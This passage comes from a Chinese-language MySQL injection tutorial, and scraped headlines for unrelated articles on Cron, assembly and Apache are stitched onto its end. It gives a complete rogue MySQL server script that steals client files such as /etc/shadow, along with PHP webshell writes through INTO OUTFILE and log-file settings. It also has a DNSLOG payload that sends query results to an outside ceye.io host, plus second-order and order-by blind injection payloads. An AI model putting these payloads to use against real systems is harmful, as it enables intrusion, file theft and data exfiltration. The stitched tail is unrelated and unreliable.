  • 前兩種需要secure-file-priv無值或為有利目錄。
  • 都需要知道要讀取的檔案所在的絕對路徑。
  • 要讀取的檔案大小必須小於max_allowed_packet所設定的值

低許可權讀取檔案

5.5.53secure-file-priv=NULL讀檔案payload,mysql8測試失敗,其他版本自測。

drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;

Mysql連線資料庫時可讀取檔案

這個漏洞是mysql的一個特性產生的,是上述的第三種讀檔案的方法為基礎的。

簡單描述該漏洞:Mysql客戶端在執行load data local語句的時,先想mysql服務端傳送請求,服務端接收到請求,並返回需要讀取的檔案地址,客戶端接收該地址並進行讀取,接著將讀取到的內容傳送給服務端。用通俗的語言可以描述如下:

原本的查詢流程為

客戶端:我要把我的win.ini檔案內容插入test表中
服務端:好,我要你的win.ini檔案內容
客戶端:win.ini的內容如下....

假設服務端由我們控制,把一個正常的流程篡改成如下

客戶端:我要把我的win.ini檔案內容插入test表中
服務端:好,我要你的conn.php內容
客戶端:conn.php的內容如下???

例子部分修改自:CSS-T | Mysql Client 任意檔案讀取攻擊鏈拓展

換句話說:load data local語句要讀取的檔案會受到服務端的控制。

其次,在Mysql官方文件對於load data local語句的安全說明中有這麼一句話:

A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.

意思是:伺服器對客戶端的檔案讀取請求實際上是可以返回給客戶端傳送給服務端的任意語句請求的,不僅僅只是load data local語句。

這就會產生什麼結果呢?之前講的例子,將可以變成:

客戶端:我需要查詢test表下的xx內容
服務端:我需要你的conn.php內容
客戶端:conn.php的內容如下???

可以看到,客戶端相當於被攻擊者給半劫持了。

利用上述的特性,我們通過構造一個惡意的服務端,即可完成上述的過程。

簡易惡意服務端程式碼:

#程式碼摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)

class LastPacket(Exception):
    pass

class OutOfOrder(Exception):
    pass

class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '3.0.0-Evil_Mysql_Server' + '\0',  # Version
                    #'5.1.66-0+squeeze1' + '\0',
                    '\x36\x00\x00\x00',  # Thread ID
                    'evilsalt' + '\0',  # Salt
                    '\xdf\xf7',  # Capabilities
                    '\x08',  # Collation
                    '\x02\x00',  # Server Status
                    '\0' * 13,  # Unknown
                    'evil2222' + '\0',
                ))
            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()

class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)

z = mysql_listener()
daemonize()
asyncore.loop()

需要注意的是:這個過程需要客戶端允許使用load data local才行,不過這個資訊在客戶端嘗試連線到服務端的資料包中可以找到。

說完了讀檔案,那我們來說說mysql的寫檔案操作。常見的寫檔案操作如下:

select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';

限制:

  • secure-file-priv無值或為可利用的目錄
  • 需知道目標目錄的絕對目錄地址
  • 目標目錄可寫,mysql的許可權足夠。

日誌法

由於mysql在5.5.53版本之後,secure-file-priv的值預設為NULL,這使得正常讀取檔案的操作基本不可行。我們這裡可以利用mysql生成日誌檔案的方法來繞過。

mysql日誌檔案的一些相關設定可以直接通過命令來進行:

//請求日誌
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查詢日誌
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//還有其他很多日誌都可以進行利用
...

之後我們在讓資料庫執行滿足記錄條件的惡意語句即可。

限制:

  • 許可權夠,可以進行日誌的設定操作
  • 知道目標目錄的絕對路徑

DNSLOG帶出資料

什麼是DNSLOG?簡單的說,就是關於特定網站的DNS查詢的一份記錄表。若A使用者對B網站進行訪問/請求等操作,首先會去查詢B網站的DNS記錄,由於B網站是被我們控制的,便可以通過某些方法記錄下A使用者對於B網站的DNS記錄資訊。此方法也稱為OOB注入。

如何用DNSLOG帶出資料?若我們想要查詢的資料為:aabbcc,那麼我們讓mysql服務端去請求aabbcc.evil.com,通過記錄evil.com的DNS記錄,就可以得到資料:aabbcc

引自:Dnslog在SQL注入中的實戰

payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

應用場景:

  • 三大注入無法使用
  • 有檔案讀取許可權及secure-file-priv無值。
  • 不知道網站/目標檔案/目標目錄的絕對路徑
  • 目標系統為Windows

推薦平臺:ceye.io

為什麼Windows可用,Linux不行?這裡涉及到一個叫UNC的知識點。簡單的說,在Windows中,路徑以\\開頭的路徑在Windows中被定義為UNC路徑,相當於網路硬碟一樣的存在,所以我們填寫域名的話,Windows會先進行DNS查詢。但是對於Linux來說,並沒有這一標準,所以DNSLOG在Linux環境不適用。注:payload裡的四個\\\\中的兩個\是用來進行轉義處理的。

二次注入

什麼是二次注入?簡單的說,就是攻擊者構造的惡意payload首先會被伺服器儲存在資料庫中,在之後取出資料庫在進行SQL語句拼接時產生的SQL注入問題。

舉個例子,某個查詢當先登入的使用者資訊的SQL語句如下:

select * from users where username='$_SESSION['username']'

登入/註冊處的SQL語句都經過了addslashes函式、單引號閉合的處理,且無編碼產生的問題。

對於上述舉的語句我們可以先註冊一個名為admin' #的使用者名稱,因為在註冊進行了單引號的轉義,故我們並不能直接進行insert注入,最終將我們的使用者名稱儲存在了伺服器中,注意:反斜槓轉義掉了單引號,在mysql中得到的資料並沒有反斜槓的存在。

在我們進行登入操作的時候,我們用註冊的admin' #登入系統,並將使用者部分資料儲存在對於的SESSION中,如$_SESSION['username']

上述的$_SESSION['username']並沒有經過處理,直接拼接到了SQL語句之中,就會造成SQL注入,最終的語句為:

select * from users where username='admin' #'

order by比較盲注

這種方法運用的情況比較極端一些,如布林盲注時,字元擷取/比較限制很嚴格。例子:

select * from users where (select 'r' union select user() order by 1 limit 1)='r'

如果能一眼看出原理的話就不需要繼續看下去了。

實際上此處是利用了order by語句的排序功能來進行判斷的。若我們想要查詢的資料開頭的首字母在字母表的位值比我們判斷的值要靠後,則limit語句將不會讓其輸出,那麼整個條件將會成立,否之不成立。

利用這種方法可以做到不需要使用like、rlike、regexp等匹配語句以及字元操作函式。

再舉個例子:

select username,flag,password from users where username='$username;'

頁面回顯的欄位為:username與password,如何在unionflag兩單詞被攔截、無報錯資訊返回的情況下獲取到使用者名稱為admin的flag值?

我們前邊講到了無列名注入,通過使用union語句來對未知列名進行重新命名的形式繞過,還講過通過使用join using()報錯注入出列名。但現在,這兩種方法都不可以的情況下該如何獲取到flag欄位的內容?

使用order by可輕鬆盲注出答案。payload:

select username,flag,password from users where username='admin' union select 1,'a',3 order by 2

與之前的原理相同,通過判斷前後兩個select語句返回的資料前後順序來進行盲注。

常見函式/符號歸類

註釋符

單行註釋 單行註釋 單行註釋 多行(內聯)註釋
# -- x //x為任意字元 ;%00 /*任意內容*/

常用運算子

運算子 說明 運算子 說明
&& 與,同and。 || 或,同or。
! 非,同not。 ~ 一元位元反轉。
^ 異或,同xor。 + 加,可替代空格,如select+user()

相關推薦

MYSQL注入相關內容部分Trick歸類小結

前言 最近在給學校的社團成員進行web安全方面的培訓,由於在mysql注入這一塊知識點挺雜的,入門容易,精通較難,網上相對比較全的資料也比較少,大多都是一個比較散的知識點,所以我打算將我在學習過程中遇到的關於的mysql注入的內容給全部羅列出來,既方便個人之後的複習,也方便後人查詢相關資料。 本文部分內容可能

Cron 觸發器相關內容 (第二部分)

三. cron 表示式的格式Quartz cron 表示式的格式十分類似於 UNIX cron 格式,但還是有少許明顯的區別。區別之一就是 Quartz 的格式向下支援到秒級別的計劃,而 UNIX cron 計劃僅支援至分鐘級。許多我們的觸發計劃要基於秒級遞增的(例如,每45秒),因此這是一個非

Cron 觸發器相關內容 (第一部分)

我們在上章中有承諾過會花更多時間來講 Quartz 的 CronTrigger,所以不會讓你失望的。SimpleTrigger 對於需要在指定的毫秒處及時執行的作業還是不錯的,但是假如你的作業需要更復雜的執行計劃時,你也就要 CronTrigger 給你提供更強更靈活的功能。一. Cron 的快

有關apache+php+mysql相關下載配置

load nbsp image pac 點擊 mysql windows 相關 php 01. Apache的下載及配置   apache的下載地址:http://httpd.apache.org 點擊:download下載 之後跳轉 點擊:Files

組合語言(第3版) 第11章相關內容實驗11

第十一章 標誌暫存器 文章目錄 第十一章 標誌暫存器 章節內容 概述 ZF標誌 PF標誌 SF標誌 CF標誌 OF標誌

組合語言(第3版) 第10章相關內容實驗10和課程設計1

第十章 CALL和RET指令 文章目錄 第十章 CALL和RET指令 章節內容 概述 ret/retf call ret和call配合

Ubuntu下使用ls命令顯示檔案顏色相關內容修改

<轉載自:http://pcyoyo.com/?p=465> 在Ubuntu下,使用ls命令顯示目錄下檔案及資料夾時會先顯示不同顏色,如下圖所示: 如果知道了不同顏色分別代表的含義,那麼對於我們檢視目錄下檔案資訊方便了很多,所以就搜尋了一下相關文章,找

Cron 觸發器相關內容 (第四部分)

七. Cron 表示式 Cookbook此處的 Cron 表示式 cookbook 旨在為常用的執行需求提供方案。儘管不可能列舉出所有的表示式,但下面的應該為滿足你的業務需求提供了足夠的例子。·分鐘的 Cron 表示式表 5.1. 包括了分鐘頻度的任務計劃 Cron 表示式 用法表示式 每天

Cron 觸發器相關內容 (第三部分)

四. 為 CronTrigger 使用起迄日期Cron 表示式是用來決定一個 Trigger 被觸發執行一個 Job 的日期和次數。當你建立一個 CronTrigger 例項,假如沒為它指定一個開始時間,這個 Trigger 當然就會假定是在依賴於 Cron 表示式儘早的被觸發。例如,如果你用這

HotSpot虛擬機相關內容

線程 內存布局 運行 字節對齊 back thread 自身 操作 目前 一.對象的創建1.類加載檢查 普通對象的創建過程:虛擬機遇到一條new指令時,首先將去檢查這個指令的參數是否能在常量池中定位到一個類的符號引用,並且檢查這個符號引用代表的類是否已被加載、解析和初

Linux進程相關內容命令小結(一)

進程 linux概念:進程,一個活動的程序實體的副本,擁有生命周期,一個進程可能包含一個或多個執行流; 進程的創建進程: 每個進程的組織結構是一致的; 內核在正常啟動並且全面接管硬件資源之後,會創建一個Init的進程;而這個名叫init的進程負責用戶空間的進程管理; CentOS5及以前:SysV In

有關創建數據庫服務器以及mysql導數據庫的相關內容

數據庫服務器的部署1、拷貝數據庫文件: scp glloans_haierdb_20170726.sql.gz [email protected]/* */:/root2、解壓數據庫gunzip glloans_haierdb_20170726.sql.gz3、登錄數據mysql數據庫,這個沒有密

一起學ASP.NET Core 2.0學習筆記(二): ef core2.0 mysql provider 、Fluent API相關配置遷移

upd order rac option 包管理 rtl code create .net core 不得不說微軟的技術叠代還是很快的,上了微軟的船就得跟著她走下去,前文一起學ASP.NET Core 2.0學習筆記(一): CentOS下 .net core2 s

自定義內容實例,適合初學者

我們 reac == () chinese 函數 nbsp default 默認 【自定義對象】 1、基本概念 ①對象是擁有一系列無序屬性和方法的集合: ②鍵值對,對象中的數據,是以鍵值對的形式存在,對象的每個屬性和方法,都對應一個鍵名,以鍵取值。 ③屬性:

Windows安裝MySQL 5.7.19相關問題處理

mysql首先我們需要先安裝vc++2013否則可能出現,找不到msvcr110.dll文件http://www.microsoft.com/zh-cn/download/details.aspx?id=40784 1.下載(操作系統為Windows Server 2016數據中心版)https://dev.

前端html 中jQuery實現文本的搜索並把搜索相關內容顯示出來

不為 pre .cn center .html 就會 onchange 經理 change 做項目的時候有這麽一個需求,客戶信息顯示出來後我要搜索查找相關的客戶,並把相關的客戶信息全部顯示出來,因為一個客戶全部信息我寫在一個div裏面 所以顯示的時候就是顯示整個di

Oracle數據庫基本操作(三) —— DQL相關內容說明應用

保留 group gpo 個數字 轉義字符 ike 關鍵字 其他 單行函數   本文所使用的查詢表來源於oracle數據中scott用戶中的emp員工表和dept部門表。 一、基本語法   SQL語句的編寫順序: p.p1 { margin: 0.0px 0.0px 0.0

openssl的應用私有CA相關內容

openssl的應用及私有CA相關內容以CA為核心生成的一套安全架構體系我們稱之為:PKI:Public Key Infrastructure,公鑰基礎設施;其包含的內容:1.簽證機構:CA2.證書註冊機構:RA3.證書吊銷列表:CRL4.證書存取庫:CR 國際標準化組織(ISO)定義了證書的結構和認證標準:

MySQL Innodb 事務實現過程相關內容的整理

update 硬件 同時 生成 需要 多版本 target %20 buffer MySQL事務的實現涉及到redo和undo以及purge,redo是保證事務的原子性和持久性;undo是保證事務的一致性(一致性讀和多版本並發控制);purge清理undo表空間背景知識

windows 安裝 mysql 部分命令

刪除表 test update unity chan lec chang local window 下載地址:https://www.mysql.com/downloads/ 下載選擇:進入“MySQL Community Server”,選擇Windows(x86,32-